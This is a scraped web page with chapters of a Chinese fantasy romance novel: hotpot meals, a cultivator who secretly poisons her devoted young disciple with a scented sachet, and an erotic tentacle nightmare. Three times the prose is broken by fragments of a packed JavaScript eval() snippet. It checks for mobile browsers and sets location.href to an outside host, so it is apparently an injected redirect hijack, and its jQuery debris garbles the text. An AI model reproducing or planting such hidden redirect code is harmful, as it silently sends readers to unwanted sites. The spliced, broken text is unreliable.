l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626365|172383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了打击么?” 那弟子摇头:“我们觉得他根本一点都没有被打击。” 那弟子似乎憋了一肚子话想说,这就滔滔不绝跟祝寒说起来:“那天半夜他溜去后山,后山不是没路吗?他修为不够飞不上去,就徒手爬上去,我们以为他想不开要去后山跳崖,一群人叫着‘小政哥你别想不开啊’就上去把他按住……结果看到他那个法器射了条银丝出去,切碎一根冰雕,原来他只是想采集冰块做冰汤圆吃……” 弟子换了口气,继续说:“我们都不知道他什么时候这么爱做饭,天天跑厨房里颠颠颠炒炒炒。很离谱的是他做出来还挺好吃!厨子都说这么下去要被他搞下岗了!” 祝寒歪头想了想:“他是不是想学手艺另谋生路?” 弟子郑重点头:“很有可能,但……对不起,可能有点八卦了,我们觉得他不是单纯想学手艺,而是……” “而是什么?” 弟子压低声音讳莫如深道:“想找富婆。” 祝寒:“这就……有点扯了吧。” “您听我说我还没说完呢。”那弟子喝了口水,想到接下来要说的话,眼里大放八卦之光,“他除了做饭,天天就对着镜子照他那张脸,长个痘在那咬牙切齿半天,嘀嘀咕咕说啥没听清总而言之就是谁谁谁会不会不喜欢之类的话。哦最可疑的就是他居然还跑去扛装着南冥海水的水缸。” 南冥海水比一般水要重,一缸约有千斤。 “您知道吗,我们还以为他是要去跳缸自杀,然后就看到他把衣服一脱,扛着缸就开始在那做深蹲,完了对着水面观察肌肉,好吧他身材确实还挺不错,穿衣显瘦脱衣有肉的,很多人都爱这种。” “太恐怖了。”弟子重复道,“哪哪都很像想钓富婆啊。” 祝寒心想这不对:“你们也不是第一天才认识他,他不是这样的人,他对修炼其实很上心,相反对于男女之事就跟没开窍一样。” 弟子:“可今时不同往日啊掌门,他总不能在修炼这一棵树上吊死吧,再说人总不可能一直不开窍吧,十八岁也不小了,您还拿他当孩子看呢?” 祝寒活了太久,快对年龄没概念了,听到这个十八岁,第一反应十八岁可不就是小孩吗,但突然想到,现世的性同意年龄好像是十六岁来着。 但终究她还是本着别随便造谣的心态,说了一句:“应该不是这样吧。” 虽然此事存疑,但其实有新的追求总比停滞不前要好,她理解也支持。 这么想着,祝寒慢悠悠回到拂雪阁。 还在百米之外,一阵食物的香味就从空气中飘来,漫入鼻腔。 祝寒走到庭院外,只见院中石桌上摆了满满一桌菜。 南宫政仁腰间系着围裙,很诡异地蹲在池塘边,照照左边脸,完了又照照右边脸。忽的发现她来了,连忙起身冲她扬起一个在她看来好像是精心设计过的和煦笑容:“姐姐,下午好!” 祝寒定定盯着他,他今天穿了一件修身的单衣,这个世界没有这么能展示肌肉线条的现代化衣服,祝寒很肯定这衣服是他自己做的。 带着青春气的俊美脸庞,身段匀称修长,脖颈线条没入黑色的领口,双肩开阔,腰部精瘦,肌肉不是十分饱满的那种,但线条清晰流畅,很是美观,散发着诱惑力。 他看祝寒没什么反应,嘴唇不自觉偷偷抿紧。 祝寒用自己才听得到的声音喃喃道:“原来你……” 祝寒在心里笑自己。 心情突然像是拨云见日,不是一般的好。 在南宫政仁明亮的眼神黯淡了半分时,她走近了,指尖在触碰到他身侧的手时透过肌肤感觉到了颤抖。 她笑了笑,牵起那只手送到自己眼前,骨节分明,修长的手指上有一道细小但还有点深的新鲜刀口。殷红色在白皙的皮肤上格外扎眼。 她轻轻抚过这道刀口,柔光静静散发,皮肉肉眼可见地愈合。 “疼吗?” 他脸飞快地红了:“不、不不疼。” 4. 雪夜蝶 姐姐喜欢什么样的男人呢? 南宫政仁发现自己对此一无所知。 但是毋庸置疑的一点,她身边从来不缺男人。 如果自己不思进取,如何比过那些莺莺燕燕。 虽然好像直接杀光那些男的会比较方便,但这样姐姐会不高兴吧。 所以,他回想着高中时在地摊随手拿起的一本杂志里的内容。 第一步,做一个自律的人。 脸和身材管理是最基本的,保证自己具备足够的核心竞争力。 进阶阶段还涉及到表情管理,诸如微笑时嘴角怎么上扬、哪个面部角度更好看等等此类。 第二步是了解她的喜好,有针对性地将自己打造成她的理想型。 比如姐姐某个前任似乎是名动四方的琴修,温润大才子,听说他的琴音天人合一,能撩人心弦,也能杀人于无形。 还有个前任是闻名天下的画师,妙手丹青,作画时能引来天降祥瑞,神龙绕梁。 看来姐姐爱谈艺术生。 南宫政仁心想前世他将仇人做成十八面人皮鼓放于阵前敲鼓奏乐,也算略通音律了。 对符文法阵也略有研究,画师作画引来神龙,他画符招来百鬼,两人水平应该相当。 再比如姐姐经常跟那个叫白惜言的医修拌嘴。 于是他在清单上“学医”一栏划上一个大叉。 医修?狗都不当。 杂志上还说,要抓住一个女人的心,首先要抓住她的胃。 做饭是一直以来的爱好,他对此很有自信。 最后。 适当地表现出弱势,激发她内心柔软的一面,就会收获她的怜惜。 下午在切一根萝卜的时候,他刀功娴熟,又快又稳,机器般飞快给萝卜片成片,当他抬腕准备落下最后一刀时,菜刀却在半空中滞了一瞬。 他哼出一声很轻的愉悦笑音。 将按着萝卜的手指往前挪了半寸。 菜刀闪着冷光落下。 “太爽了!”南宫政仁一边埋头啃凤爪一边说。 “是吧,这个辣椒超辣的。”祝寒啃得比南宫政仁只快不慢。 落雪纷纷,凉亭中,两个人并排坐在一起认真啃凤爪,啃光的骨头渣已经堆了老高。 这道凉拌凤爪本来已经很辣了,祝寒吃了两口突然两眼放光,跑到地里去摘了两根辣椒用内力捏碎了和进去。 然后两人再一尝,纷纷冒出相同的念头——一道完美的菜诞生了。 南宫政仁啃啃啃,喝口水,继续啃:“姐姐,你是天才吗?” 祝寒心说还不是这个世界的辣椒都太没味了,她可是蓉都人,她不能将就,她要种出这世界上最辣的辣椒。 更做不到像别的修士一样辟谷后对饮食无欲无求,那样太恐怖了。 祝寒都没空停下来喝水:“你是天才。” 事情是怎么变成这样的?南宫政仁心想大概是因为桌上那些早已被一扫而空的空碟。 原本那些碟子里装的是蛋糕和冰淇淋,这就是他想出的奇招。 本来还担心祝寒不喜欢这些,却没想到一转眼,竟看她两眼含泪。 祝寒:“今夕何夕啊。” 看得出来她非常激动,几乎哽咽。但速度却没受影响。 还能听到她喃喃自语。 “好久没吃过……” “不是在做梦……” 最后一口冰淇淋吃完,她放下碟子和勺,鼻子抽了抽,看向他:“阿政,我还要。” 脸红红的,好可爱。 南宫政仁指了指凤爪:“姐姐,凉的吃多了对胃不好,下次我再给你做。吃点辣的暖暖胃吧。” 祝寒:吃了凉的吃辣的难道对胃很好吗?等等这道凤爪看上去很妙,不管了。 这道菜也被飞快解决。 南宫政仁辣得气喘吁吁,他自问作为现世时无辣不欢的蓉都人已经够能吃辣了,没想到姐姐比他口味还重。 他蠕动着往祝寒身边靠:“姐姐,我家乡有一种特色吃法,叫做火锅。一锅辣汤里面煮下肉和菜,汤底秘制,绝对够辣,改天我们能不能一起吃火锅呀?” 祝寒一听:“什么改天?就明天。” 于是第二天,祝寒在凉亭里等南宫政仁,视线远处风雪漫漫,雪地中一个人影缓缓走来。 一袭白衣,纤尘不染,比雪还洁白。 白惜言:“你那是什么表情?看见我很失望?” 祝寒:“没有……” 白惜言:“你在等人?等谁?” 祝寒:“等你。” 白惜言:“呵呵。” 白惜言是来给祝寒送药的。 随着侵蚀加重,发作频率变高,再加之人体的耐药性,原先那副药作用已经微乎其微了。 白惜言最近一直在调制新药,最后一株药材终于找齐,便赶着给她送来。 “跟原来那副不一样,这副一个月喝一次就够了,药材里有玄冥龟内丹,熬久一点,五个时辰起步不然药性熬不出来。青霜糖不是必需的,加进去口感好点,你要是不喜欢甜的单独把青霜糖刨出去也可以。”白惜言道,“这里是五年的份,我就不再来给你送了。” 祝寒听出他言外之音:“你要走?” 白惜言:“我之后不一定留在中洲。” 祝寒也没问他要去做什么,以他的性子,不主动说应该就是不想让人知道。 只是觉得有些突然。 “行吧,别死了啊。”祝寒想不到除了这句话她还能说什么,“你死了我每年要上的坟又要多一个了,很累的。” 白惜言:“我尽力吧,真遇上要死也没办法,死之前我会在心里默念遗愿帮你祈祷业火早日恢复的。到时候来上坟给我带点好酒就行。” 说起这个,祝寒突然道:“要不……今晚留下来吃个饭?” 白惜言:“吃啥?” 祝寒:“火锅,保准好吃的。” 白惜言回头,只见远处一个少年正朝拂雪阁跑来,抱着口大锅,锅里装满食材。 那少年见了他,先是愣了一下,然后很有礼貌笑道:“医圣前辈好。” 白惜言记得这是那个叫南宫什么的。比刚受伤那会儿气色好多了,这么看上去小伙子还挺赏心悦目。 哦对,是个纯阴之体。 “行啊。”他说。 祝寒走进厨房里,南宫政仁原本慵懒披散的长发用一条深蓝色发带高高束起,更显几分少年气,他正在热火朝天地炒底料,厨房里弥漫着一股熟悉亲切的火锅香气。 用襻膊将衣袖挽起,祝寒走到菜板前:“阿政,我来切菜吧。” 南宫政仁握着锅铲的手抖了一下,差点将热油溅到自己身上:“没事没事,我很快的,您出去和……” 他原本想说,您出去和医圣坐着聊天等着我炒好锅底切好菜端上来就行。 但是他话音突然打住。 不想她和别的男的单独待在一起…… 出神之余,耳畔传来她的声音:“哎,你别动。” 一阵幽静的香气靠近。 祝寒将南宫政仁鬓边垂下,有些遮挡视线的一缕发丝挽到耳后。 “好啦。”祝寒拿起菜刀,从菜筐里虚空取物取来一块鲜牛肉,放在菜板上切起来,“我们两个做长辈的,让你一个孩子忙前忙后像什么样,惜言还想来帮忙呢,他是客人,我就不让他来了。” 她没注意到南宫政仁听到“孩子”两个字时,稍微暗了几分的眼神。 烟雾袅袅之中,南宫政仁看着祝寒侧脸,素净衣裙,挽着袖子,一如寻常人家的女子做饭时的模样。 她应该不怎么下厨,看得出刀功有些生疏,远不像她使剑杀人那么利落。 这样的稀松平常的画面,和这样一个健康正常的姐姐,却是南宫政仁上一世做梦也不敢奢求的。 他想说,姐姐,我不是孩子了。 在她不知道的某个未来,是她让他从“孩子”变成了“大人”。 热油噼啪一声惊起他沉静的思绪,目光波动,话还是没说出口。 比起语言,行动才是更好的证明。 这是他从那本杂志上记住的一句话。 他深吸一口气,确实这话有道理。可是,姐姐不给他机会证明啊…… 他怎么才能让姐姐知道,他可以做大人做的事呢。 祝寒不知道南宫政仁的内心活动,她专心切菜,切完牛肉放入盘里,伸手去拿帕子擦菜板。 摸到帕子的同时,突然感觉到一只手放在了她手背上,触感冰凉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626366|172383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她抬起头,南宫政仁也刚抬起头看到她,他似乎也是想拿帕子擦灶台。 祝寒自然地收回手:“你用吧,我拿另一张。” 南宫政仁:“……好,谢谢姐姐。” 他手指收紧,抓着帕子,机械般来回擦拭灶台。 祝寒侧过头来:“阿政,帮我把你右手边那把剪刀递给我一下。” 南宫政仁:“哦哦哦。” 他把剪刀递过去,她接过时,指尖擦到他手指。 祝寒朝锅里看了一眼,叫他:“阿政。” 南宫政仁:“嗯嗯嗯什么事?” “再不起锅要干了。” “!!!” 一番折腾,火锅还是十分成功地做好了。 凉亭的石桌前,祝寒在火台上点好火,南宫政仁将热气腾腾的火锅放了上去。 辣油翻滚,映在白惜言眼底,他眼角不自觉地抽搐了一下。 祝寒这才想起,这世界的辣椒都不辣,所以他们的口味跟自己和南宫政仁比起来应该是要清淡不少的。 完了,是不是应该做个鸳鸯锅? 南宫政仁却已经开始下菜了。 还在给她说哪个菜煮多久最好吃。 祝寒:……忍不了了,吃! 惜言啊你自求多福吧。 不过白惜言好歹是道轮境的医圣,身体已经超凡入圣,还是可以自己控制减轻所感受到的味觉。 这顿火锅已经很完美了,但要真正尽兴,还是少不了一道开胃小菜。 白惜言不得不承认,这个叫“火锅”的东西确实新奇又美味。 正想要夸一下南宫政仁的厨艺,就看着南宫政仁端上一盘颜色诡异的凤爪,然后和祝寒各夹起一只就开始啃。 白惜言:什么东西?这么好吃? 他也夹起一只,咬了一口。 “咳咳咳咳咳!咳咳咳!” 他脸瞬间通红,捂着嗓子,弯下腰剧烈咳嗽。 祝寒见状:“惜言,怎么了?啊呀这么辣吗?快运功给它化掉!” 白惜言脸色痛苦万分:“你放了你种的辣椒?那玩意儿……咳咳咳咳咳,你用灵力培育的,我化不去!咳!咳咳咳咳咳!祝寒,我死也不会放过你……” 南宫政仁:“噗。” 白惜言:“你笑个鬼!不是?你?你为什么不觉得辣啊?哎哟,咳咳咳!” 白惜言端起冰水狂吨。 南宫政仁是真的被笑到了,好笑,太好笑了。 他前世觉得这医修就是个死脑筋呆子,就算是最后看他倒在血泊里慢慢死去的时候也没什么让他印象深刻的点,没想到还有这么好玩的一面。 他笑得肚子痛。 “阿政。” 他听到祝寒叫他。 他转过头去,侧脸突然感受到她指尖柔软的触感。 南宫政仁瞳孔微微放大。 祝寒凑近了一些,南宫政仁可以看到她长长的睫毛正低垂下来。 她的目光正落在他唇上。 南宫政仁心跳急剧加快,如同擂鼓,一声声敲在心房上。 拇指指腹轻轻擦过唇角。 “有滴油。”祝寒用手帕擦了下手,声音将南宫政仁惊醒。 南宫政仁呆了一下。 哈。 他心里发出一声笑。 这是今天多少次了? 他在心里骂自己:没用的东西。 祝寒对他的反应毫无察觉,涮了片毛肚吃,还不忘继续嘲笑白惜言。 突然她话音顿了一下。 白惜言:“嗯?怎么了?” 祝寒:“没什么。” 虽没转头,但她能感受到身侧幽深的目光锁定在身上,如同一张蛛网黏了上来。 桌下,南宫政仁的几根手指正在她手上游走,刚开始还带了几分试探,但慢慢逐渐大胆起来,以一种缓慢的、挑逗的方式摩挲过手指、指缝、骨节、手背,冰凉的触感就像蛇在贴紧肌肤滑动,带起细微的痒意。 祝寒没移开手。 接受着他舔舐般的抚摸。 然后那只手贴着掌心挤进来,五指滑入指缝,慢慢反扣住。 祝寒面不改色与白惜言谈笑,桌下,她屈起手指,感受到他手背上因用力而凸起的青筋。 5. 雪夜蝶 三人的进食风格也各有千秋。 白惜言细嚼慢咽,动作清雅,很符合不染尘俗的医圣形象,仿佛周身自带一层纯净结界将油烟隔绝在外。 祝寒则是行云流水,她在和白惜言聊八卦谈政治的同时手里筷子一刻不停,两件事毫无冲突,协调得恐怖。 南宫政仁一半时间在安静吃,偶尔笑着附和两句,一半时间在帮祝寒捞她爱吃的菜放进她碗里。 南冥的夜晚没有月光,只有漫天飞舞的雪,但拂雪阁外的凉亭热火朝天,暖意洋洋。 白惜言擦了擦嘴角:“我吃饱了。” 祝寒用勺子在锅里捞了捞,只剩些底料残渣和很少的素菜:“吃得好干净。” 白惜言调整出一个端正的坐姿,干咳两声:“但是,本着身为医者的修养,我还是要提醒你们一句,少吃辛辣,更要少吃这么辣的!尤其是你。” 祝寒心想,天高皇帝远,自己先答应他,等他走了还不是想吃多少就吃多少。 “知道了,我会的。”她笑眯眯答道。 白惜言冷哼一声,斜斜看着南宫政仁。 南宫政仁拘谨地笑了笑,想的却是姐姐爱吃就多吃,爱吃我就天天做。 反正你也活不了多久了。 白惜言淡淡说:“到时候别怪我没提醒过啊,本来你最近状态就不稳定。还有,你去龙骨窟不许用业火,至少吃三个月的药才能用。” 祝寒对这个倒是很认同:“放心吧,只要不对上坤渊我还没必要用业火。” 南宫政仁听出端倪:“姐姐,你要去龙骨窟?” 祝寒回头,冲他点了点头:“嗯。龙骨窟灵兽暴动,光帝下令镇压,我去压阵。” 南宫政仁:“什么时候去呀?” 祝寒:“明天哦。” 南宫政仁身子僵了一下,片刻,他低声道:“我可以和你一起去吗?” 祝寒还没开口,白惜言先嗤笑一声:“你想得美。一个气灵境,带你去送死?” 祝寒瞪了白惜言一眼,对南宫政仁柔声道:“阿政,你该回逐月岛了。” 他的伤已经没有大碍,是时候该回逐月岛继续学业。 逐月岛是祝寒在凶神之战结束后建立的,主要是为了提升昆天域的综合素质教育水平,以应对未来可能会发生的各种未知危险。 比起提升修为,更注重于因材施教,找到最适合年轻修士的修行路子。 所以就算南宫政仁现在修为阻滞,逐月岛依旧是适合他的地方。 祝寒见南宫政仁生无可恋如坠冰窖的样子,问道:“不想回去?” 南宫政仁:“回去就……见不到姐姐了。逐月岛离离火宫好远。” 一个在昆天域最中心,一个在最南方。 祝寒语气一如平常:“乖,逐月岛离龙骨窟很近的,你好好上学,我忙完来看你。” 南宫政仁半晌才说了一句:“姐姐,注意安全。” 他怎么又离姐姐这么远了。 还以为好不容易走近了一点。 如果能让她永远留在自己身边就好了…… 可是刚刚脑子一热大着胆子去牵她的手,姐姐为什么要回应他呢,还是说只当是在安抚一个不懂事的孩子? 白惜言站起来,洁净的灵力洗涤过桌上的锅和碗筷,亮锃锃的餐具随着他抬起手,纷纷飘浮起来。 “我去把这些东西放回去。”他说着,带着餐具转身向厨房走去。 白惜言走远了。 南宫政仁呆住了。 因为祝寒的手正在顺着他脸部轮廓慢慢抚摸,动作轻柔,就像在安抚一只极易被吓到的小兽。 “阿政,我没有说要离开你哦。”祝寒注视着他,拇指描摹过他的眉梢,“你知道的吧,我很忙,所以我不敢养小猫小狗,怕自己照顾不好它们,怕一旦养出感情了就会被拴住。但是阿政,你是人,你不会让我有这种烦恼,对吗?” 祝寒的面容在脑中与地牢时看到的她重叠。 那时她也是说:“阿政,你为什么不听话?” 南宫政仁懂了,原来他不需要自己胡思乱想什么,他只用听她的话就对了。 “姐姐,”他喉结滚动,好像要沉醉在那双动人心魄的目光下,“我会听话的。” 祝寒似乎心情不错,起身往拂雪阁中走去:“乖,跟我来。” 南宫政仁跟在她身后,问道:“姐姐,去哪?” 祝寒:“去我房间。” 南宫政仁:“啊?这么快吗姐姐,我还没准备好!” 如果要侍寝,那他需要做的事前准备可太多了,他才吃了火锅,还没有用兰香的澡豆洗去一身火锅味,肌肉也还不是最好状态,讨不到她欢心不说,说不定还会被嫌弃。 祝寒轻掩着嘴笑起来。 南宫政仁这才发现他们的路径是去书房而不是卧房。 可是,书房就不行了吗? 他都行啊。 南宫政仁跟着祝寒走进她书房,双手将门拉上。 他听到祝寒打开抽屉拿东西的声音。 转过身,感觉腰带被勾了一下,他往前踉跄了半步。 他听到腰间有什么东西晃出细微的银铃般的声响。 祝寒看着刚挂在他腰带上的香囊球:“哦,很适合嘛。” 南宫政仁低头,将香囊球捏在手里翻来覆去仔细端详,做工精细,通体银质,外壳是雕花镂空的,香料放在支点悬挂的内层,制作工艺十分独到精巧,不管怎么晃动内层的香料都不会翻出来。 祝寒:“你脚步虚浮,脖颈僵硬,坐着的时候习惯性无意识撑头,最近睡得不太好吧?这是安息香,你戴在身上,夜里多少能睡得好些。” 南宫政仁这几天确实没睡好,夜晚总是没有睡意难以入睡,睡着了也会被噩梦惊醒。 闻到香囊球里散发着沁人心脾的幽香,有一股亲切感,心里的焦躁也在慢慢被抚平,让他不自觉想要多闻。 他一直这么捏着把玩了半晌,祝寒并未发觉他眼里多了几分不明意味的愉悦。 “姐姐,你对我真好……” 祝寒:“那就要戴好哦。” 南宫政仁:“嗯,我一定日日贴身佩戴……不辜负你对我一番苦心。” 祝寒看现在时间也不早,她桌上还堆着厚厚几叠公文没看,便说:“你先回去吧。” 这些公文都是从各国各门派送来的,记录了一段时间以来的重要事件,每天都有这样的小册子从三洲五国各地千里迢迢送到她桌上。 她需要掌握这些消息,将文字记入脑中,构成一个脉络清晰的网,知道昆天域何时何地在发生着什么,提防这个世界出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626367|172383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脱离自己的掌控的事。 她在桌前坐下,随手拿起一本翻开。 草草看完,一抬眼南宫政仁还没走,还站在门口看着她。 幽深的黑眸,上扬的眼尾,像小猫一样。 她心头微动。 南宫政仁突然说:“姐姐,我爱你。” “嗯,我知道。”祝寒眉眼柔柔地舒展开,“我也很喜欢你。” 他是个很讨喜的孩子。 没人会不喜欢乖乖听话的宠物。 …… 南宫政仁前脚刚走,白惜言后脚就神不知鬼不觉出现在她身边。 “安息香?”白惜言戏谑道,“你往里面混了那么多同色同味的蝶宵香,不怕给人毒死。” 祝寒觉得被冤枉了:“别乱泼脏水,明明就一点,也是能助他安神的好吧。” “两勺安息香,两勺半蝶宵香,你不如直接说哎阿政这是慢性毒药你戴好了,半个月上瘾,一个月毒发,没有解药你就乖乖等死吧。”白惜言阴阳怪气道,尤其是“阿政”两个字咬得极其婉转扭捏。 祝寒心想这人好烦:“又不是不给他解药,隔三差五往他饮食里混点,这毒不发作就是普通的助眠香,对他身体无害的。” 直觉告诉祝寒,自从学测时受伤开始,南宫政仁就不太对,至于是哪里不太对她也说不上来。 她不喜欢事情脱离掌控的感觉。 提前做点防范小措施罢了。 她这么喜欢南宫政仁,怎么可能去害他。 白惜言在案牍上直接坐下,侧头慢悠悠说道:“我跟你说过的鬼仙体三种吸收程度,还记得吗?效果最下乘的是单纯的内力互通,作用和吃药差不多,且还不能间断。效果第二好的是杀人剖丹,吸食内力,气灵境巅峰鬼仙体的内力可保你十年业火稳定。效果最好的,跟你提了无数次了,也懒得再提。反正活生生的鬼仙体就在你眼前,选哪种方式你自己定夺。” 祝寒在他叽里咕噜的时间里又翻完一本公文:“嗯?你刚刚说什么?” 她是真没注意听。 白惜言:“……” 他忍着翻白眼的冲动:“我说下次别偷偷在桌底下牵手。” 祝寒平静问道:“那要放到桌上来?” 白惜言呵呵:“有病。” …… 离火宫弟子数量不算很多,与两百年前刚平定三宗和世家,风头无两时相比弟子数量已锐减了一大半。并不是说离火宫衰败了,而是祝寒不想走当年三宗的老路,树大招风,就算她无意,也难免引得旁人忌惮。于是乎近百年来离火宫都未再怎么招纳新弟子。 可能是大家年纪都大了,再加上南冥的气候原因,比起在刮风下雪的室外,大家都更喜欢待在屋里。因而夜里总是静悄悄的。 南宫政仁从拂雪阁离开后径直回了自己的住处,屋里没点灯,黑漆漆的。 他哈出一口白气,搓了搓手,将腰间的香囊球取下,放在手心里,在黑暗之中端详。 “蝶宵香……” 他用双手捧着小球,闭上双眼,动作莫名地虔诚,将鼻子凑上去,深吸了一大口。 他洗漱一番,在床上躺下,将香囊球捏在手心里,缓缓将手放在鼻前,合上双眼。 幽香萦绕在鼻尖,如同有谁在温柔地哄着他入睡,很快就睡着了。 6. 雪夜蝶 风吹动床幔,无形异香萦绕漂浮,南宫政仁忽觉什么东西扫过眼睫,迷蒙睁眼,视线中一只亮闪闪的蝴蝶停在眼角,扇动条纹弯绕的翅膀,轻轻扫过他皮肤。 突然眼前一花,他一下发现自己竟躺在高空中,雪风呼啸,漫天的红粉色流火不断掠过身边。这番情景像极了前世与姐姐决战那天。 高高在上的人影朝他斩落一剑。 南宫政仁只觉灵魂被这一剑斩出身体,朝下方疾速坠去。 他笔直地落入一潭平静的水面,如同砸穿了一面镜子,碎片炸开,化作千万只晶莹的蝴蝶四散而去。 绵长的水波裹挟着他不断下坠,落入深海的窒息和越来越黑的水底让他开始呼吸困难。 突然后背终于触及一个坚实表面,胸腔中的压迫感也瞬间释放,他睁开眼,仰起头,后脑勺感受到地面冰凉的温度,大口大口呼吸着地牢里潮湿血腥的空气。 视线重新聚焦。 一双手撑在他肋骨上,垂落下来的发丝在眼前晃动,南宫政仁抬眼往上看去。 “姐姐?” 怎么回事,他不是已经重生了吗,怎么又回到那天了。 灼热的感官刺激着他,包裹着、吞没着,缱绻到窒息。 他抬起手,想要帮她撩开散乱的头发,指间碰到发丝时,一条婴儿小臂那么的粗的滑腻触手从身后的黑暗中冒出,缠住手腕。 又一条触手从另一边冒出,沾着涎水的触尖轻轻勾了一下祝寒的侧脸,然后亲昵地缠上她腰部,就像一个粘人的小孩子扑进了母亲怀里。 “别闹了,去一边玩。”她停下来,怜惜地抚摸着触手,任由触尖绕上她手指,“别打扰妈妈。” 那双眼角染着绯色的眼睛里,靡丽的瞳孔像是血色的万花筒,时而收缩成针,时而如同盛放的花蕊,映照出他身影。 突然她捂住头,眼睛闭上又睁开,呼吸粗重,双肩上下起伏,熟透的脸上多了几分清明的神色。前一刻还温柔注视着触手的眼神变得抵触、厌恶,她拽着那只触手,指关节因为用力而泛白。 “滚出去……” 就像有不同的声音在她耳边争吵,侵占她的脑海,她无可忍受,俯下身抱紧了南宫政仁,滚烫灼热的呼吸喷吐在耳畔。 “阿政、阿政……我好饿,要饿疯了,为什么吃了这么多,一点也没用……” 在南宫政仁眼里,她整个头部如同投射在分崩离析的镜子里,光怪陆离地拉扯出不成形状的虚影,偶尔恢复原状。 他用没被触手缠住的另一只手沿着她小腹上一道弹孔大小的疤痕狰狞的边缘滑过,手指按压上那片与正常皮肤触感不同的地方,将一点从里面凸起的弧度压下去。 身上之人发出一声喟叹低吟。 明明没有任何人,包括系统,跟他说过这道疤痕是从何而来。但不知为什么他就是知道,这是她百年前和凶神一战时留下的伤疤。 她会变成这样,都是因为这道伤。 “很疼吧……”他五指拂过那个地方。 想让她更疼吗? 南宫政仁猛地打了个寒战,脑海里突然冒出一个声音,就像有人凑到他耳边对着耳膜说话一样。 黑暗中冒出更多长长的触手,很快就像蛇一样缠满他全身,一条触手飞快地沿着脖子裹上他的头,就像织着茧一样将他吞没,最后一圈将他露在外面的眼睛彻底遮住,世界陷入黑暗。 再一睁眼,眼前是一片黑红的炼狱,尸体堆积成山,岩浆沸腾翻滚。南宫政仁发现自己的意识正在一个陌生而庞大的身体之内,不受自己控制地在四下乱飞。 这具身体传来的感受过分真实,就好像真的是他自己的身体一样。 他感受着这具身体,描摹不出一个成形的轮廓,就仿佛是混沌本身。 定睛一看,不远处追击着祂不放的那人不正是祝寒,或者说,是一百年前,状态最鼎盛的祝寒。 气色比现在好不少,锁定着祂的那双眼清冷肃杀,高马尾在身后飞舞,整个人的气质如同出鞘的利刃锋芒毕露,人剑合一。 南宫政仁此刻突然能明白,曾在南疆说书台听过的三百年前炎国一道明剑划破修真界长夜,剑势如火,剑心如莲,让三洲五国都为之震动的剑修到底是什么样的。 南宫政仁第一次见到这样的她,而记忆里的她总是温温柔柔游刃有余,极少露出攻击性。就像是一把淬血的剑插进雪地里,终年被雪掩盖。 只有那双眼神,一些时候即使是在笑着,也让人心生畏惧。 从四周环境的破坏程度来看,他们已经进行过很久的战斗了。 她嘴角挂着血,身上也有几处血迹斑斑的伤,但相比之下,南宫政仁这具身体的状态更差。 到处都是天罗地网般绽放的红莲业火,祂根本无处可逃。 祂操纵着数十只扭曲的触肢抵御着业火,祝寒追击的速度很快,前后夹击,胜负似乎已成定局。 祝寒将要挥剑的前一刻,祂呕出一堆混着许多人体的黑泥,朝下方的岩浆落下,那些人虽然残缺不全,但有的还是活着的。 “仙师,救命啊啊啊啊,救我!” 南宫政仁知道她肯定会选择去救他们。 她分出内力去护住那些人,将他们转移向地面,一瞬的分心,祂抓准这个机会反击。浑浊的身体中,一根纤细的血色管状物口器从血肉中绽出,在祂庞大身躯的衬托下就像是蚊子吸血的口器,顶着祝寒全力斩出的一剑弹射出去。 山峦倾塌,大地崩裂。 南宫政仁感觉身躯四分五裂地迸开,但与此同时他也看到,那根口器穿过剑光,穿过业火,扎入祝寒小腹,口器尖端瞬间充血一样变成深红,有什么东西在皮层下“咕咚咕咚”地涌进她身体。 祂不再有动静,祝寒拔出那根东西,突然眉头一皱,身形晃了晃,随即捂住嘴跪倒在地,用剑支撑着才不至于倒下。先前还正常的脸色转眼变得惨白,漆黑的血从口鼻中涌出,顺着指间流下。 周身环绕的红莲业火明明灭灭,不稳定地颤动着。 握剑的手也无法再坚持,终于,她手一松开,身体穿过南宫政仁的魂体冲上去想扶住她肩膀的手,重重摔在地上,昏了过去。 “想起来了吗……”还是先前那道声音,只是这一次更加清晰,他仿佛能感受到有呼吸喷吐在脸上,皮肤像是在被蚊虫啮食。 不、不要。 南宫政仁双目失神,伸手颤巍巍探向呼吸微弱的祝寒。 手指只能虚抓到空气。 他发疯一样抓着空气,直到猛地睁开眼,两行眼泪挂在脸上,一只手还维持在一个冲着天花板想要抓住什么的动作。 他翻身下床,外衣也来不及穿,推开门跑入雪地里,朝着拂雪阁跑去。 脚下凭风,雪风灌得嗓子生疼,风雪将浑身沾湿。 他猛地推开祝寒书房的门,一片漆黑,不在这里。又上上下下四处找她,每一间屋子都是黑的。 不知是不是刚醒来的原因,他眼前有些模糊,一晃神看到两只蝴蝶在前方飞舞,鬼使神差地,他跟了上去。 一路循着来到离火宫后山下,后山无路,他凭风只能到达半山,后半程便徒手攀爬上去。 登上山顶,跟着眼前的蝴蝶一路往南走,直到远处可以看见后山临海的悬崖。 这是离火宫最高的一座山崖,陡峭嶙峋,下方就是汹涌的南冥海,深蓝色的海面趋于漆黑,什么也看不清,只能听见潮汐在引力下涨涨落落的声音。 